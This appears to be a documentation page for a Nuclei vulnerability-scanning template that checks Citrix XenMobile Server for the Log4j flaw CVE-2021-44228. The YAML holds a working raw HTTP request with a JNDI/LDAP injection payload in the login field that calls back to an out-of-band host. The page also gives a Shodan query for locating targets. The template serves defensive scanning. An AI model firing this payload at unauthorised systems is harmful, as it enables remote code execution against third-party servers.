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Citrix XenMobile Server - Remote Code Execution (Apache Log4j)

ID: xenmobile-server-log4j

Severity: critical

Author: DhiyaneshDK

Tags: cve,cve2021,rce,jndi,log4j,xenmobile,oast

Description

Section titled “Description”

XenMobile Server is an on-premises enterprise mobility management solution and versions 10.14 RP2, 10.13 RP5 and 10.12 RP10 are vulnerable to CVE-2021-44228 (Apache Log4j). JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

YAML Source

Section titled “YAML Source”
id: xenmobile-server-log4j


info:
  name: Citrix XenMobile Server - Remote Code Execution (Apache Log4j)
  author: DhiyaneshDK
  severity: critical
  description: XenMobile Server is an on-premises enterprise mobility management solution and versions 10.14 RP2, 10.13 RP5 and 10.12 RP10 are vulnerable to CVE-2021-44228 (Apache Log4j). JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
  reference:
    - https://support.citrix.com/article/CTX335705/citrix-security-advisory-for-cve202144228-cve202145046-cve202145105-and-cve202144832
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-502
    cpe: cpe:2.3:a:citrix:xenmobile_server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"XenMobile"
    product: xenmobile_server
    vendor: citrix
  tags: cve,cve2021,rce,jndi,log4j,xenmobile,oast
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'


http:
  - raw:
      - |
        @timeout: 20s
        POST /zdm/cxf/login HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/zdm/login_xdm_uc.jsp


        login=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.postdata.{{interactsh-url}}}&password=admin


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<h1>500 Server Internal Error'


      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"


      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


    extractors:
      - type: kval
        kval:
          - interactsh_ip


      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 490a0046304402207fc920edff5b013d80472c23f0baf57d42def3e0233a7a15a49ccc585aad5c6a02201fc05d5721820a2a39693511be36c2333eb581ae6c20a46338d838fc850509c5:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/xenmobile-server-log4j.yaml"

View on Github